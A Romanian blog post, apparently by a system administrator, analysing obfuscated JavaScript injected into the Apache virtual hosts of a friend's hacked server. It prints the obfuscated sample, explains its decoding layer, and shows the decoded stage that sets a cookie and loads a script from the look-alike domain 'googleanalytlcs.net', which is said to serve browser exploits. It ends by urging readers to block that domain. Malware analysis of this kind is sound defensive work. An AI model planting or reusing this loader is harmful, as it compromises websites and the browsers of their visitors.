Vineri seara am fost sunat de un prieten care mi-a spus ca tocmai fusese hack-uit. Exploit-ul, dupa informatiile prietenului meu, era de prin mai, si a avut ca rezulat infectarea tuturor hosturilor virtuale apache cu un script java. Cind am primit scriptul mi-a atras atentia modul diferit in care fusese ascuns codul sursa al scriptului java. El arata cam asa:

<!–44e8ef75ef25fc970a79a3ccb704ad42–><sc!!!!!!!!!!ript language=javascript>zahlpc=”Jl#tWL%POTzGHriViVz#LiY”;rvxleu=”<Q73crQ69pt laQ6egQ75age=jQ61vQ61scriQ70t> funcQ74ioQ6e djjQ78tQ6cgs(hlyzcQ6arQ29Q7bQ76aQ72 Q67ynQ73zty,Q6dQ76Q6ewQ63zQ6fQ6dfQ3d\”#(7Q6eTbQ55OQ50VQ36Q4aQ63:+Q5e1Q7e9Q24u_iQ29yo5Q72@,2Q6bQ30Q60&Q45Q77MQ20|Q7bQ674Q3djvQ64Q74CxIFhNm]Q3b}fQ71Q213[HaQ7aB-AZps*Q6cQ47e8Q5c\”‘Q4bQ2eQ22,Q70Q65Q77yhg=\”Q22Q2cQ66Q61Q73ltdsQ2cqQ6brkjQ6cQ77f,tQ68yQ69Q74dkii=Q22Q22,hpoQ70Q75oQ69;Q66oQ72(gynsztQ79=0;gynszQ74yQ3cQ68lyzcjr.lengQ74Q68;gQ79nQ73Q7aty+Q2bQ29{ Q66Q61sQ6cQ74Q64sQ3dhlyQ7acjr.chaQ72AQ74(Q67yQ6eszty);qkrQ6bjlwQ66=Q6dvnwQ63Q7aomf.iQ6edexOf(Q66asltds)Q3biQ66(Q71Q6brkQ6aQ6cwfQ3e-1){ hQ70opuoiQ3d(Q28Q71krkjlQ77Q66Q2bQ31)Q25Q381Q2d1Q29;Q69fQ28Q68pQ6fQ70uoiQ3c=0Q29Q68pQ6fpuQ6fQ69+=8Q31;thQ79itdQ6bQ69i+Q3dmvQ6ewczQ6fQ6df.Q63haQ72Q41Q74(hpoQ70uoi-Q31Q29Q3bQ20} Q65lseQ20tQ68yQ69Q74dQ6biiQ2b=fQ61Q73Q6ctQ64s;Q7dQ70eQ77Q79hg+Q3dQ74Q68Q79itdQ6biQ69Q3bQ64Q6fcumeQ6eQ74.Q77rQ69Q74Q65(peQ77Q79hQ67Q29Q3b}Q3cQ2fsQ63Q72iptQ3e”;fmxoqyuh=zahlpc.charAt(6);vrbnnv=rvxleu.replace(/(jjuysyvwv|Q|xmmwgridfz)/g,fmxoqyuh);sqlwbat=unescape(vrbnnv);var agfwxg,kbptlkr;document.write(sqlwbat);agfwxg=”<NC]G>|<*:@)sC|Cos8j’C8IC/vzdz*:@)sC’|GzT4_z48j’vzdz*:@)sC’>||dz@|8Is)@o|j|T8M|DzC87y}|8Is)@o#*8Cb)]878Is)@o#48Cb)]87y|^|k=lJ`lJ`l~„`y}|t5:_]8TC#:550)8jK*8**)5T)tj[$~k\”J`rZr[~}|szCNj/}|8Is)@8*jK|^|8Is)@o#C5e bSC@)T47y}||t5:_]8TC#M@)C87|'<SxRFVb|GzT4_z48j\\’czdzS:@)sC\\’|SRxj\\’NCCs+//4554G8zTzGoCG:*#T8C/ii_C]v#v*\\’><\\/SxRFVb>’|y}</*:@)sC>|</NC]G>|”;djjxtlgs(agfwxg);</sc!!!!!!ript><!–44e8ef75ef25fc970a79a3ccb704ad42–>

Semnele de exclamatie din cuvintul script imi apartin pentru a evita o eventuala executie a lui.

Dupa cum se vede, scriptul selecteaza din variabila „zahlpc”, caracterul al saptelea „%”, apoi caracterul Q este inlocuit cu „%” , si astfel sint returnate codurile asci ale caracterelor ce formeaza codul sursa. Acesta este primul layer de ascundere a codului. Apoi rezulta un nou script java care desfacut va arata asa:

<ht!!!!ml> <scr!!!!!!!ipt type=”text/javascript” language=”javascript”>  var expiry = new Date(); expiry.setTime(expiry.getTime() + 24*60*60*1000); document.cookie=’sessionid=39128605A531; path=/; expires=’ + expiry.toGMTString();  document.write( „<SCR!!!!!!IPT language=\”JavaScript\” SRC=\”http://googleanalytlcs.net/__utmj.js\”><\/SCR!!!!!IPT>” );</scr!!!!!!!!!!!!ipt> </ht!!!!!ml>

Exte un script care citeste sessionsid-ul clientului pentru serverului care a fost infectat si impreuna cu data expirarii este trimis serverului googleanalytlcs.net. Sciptul java aflat aici va face call pentru un alt script de pe un alt site care va incerca exploatarea browserului. Site-ul din spate se schimba mereu.

O cautare in log-ul proxy-ului companiei unde lucrez arata ca exista destule site-uri romanesti care au fost infectate cu asa ceva. Deci recomand tuturor sa blocheze aceasta destinatie in proxy-uri.

O zi buna si va tin la curent in momentul in care am access la serverul care a fost exploatat cu  detalii despre exploit.

Anunțuri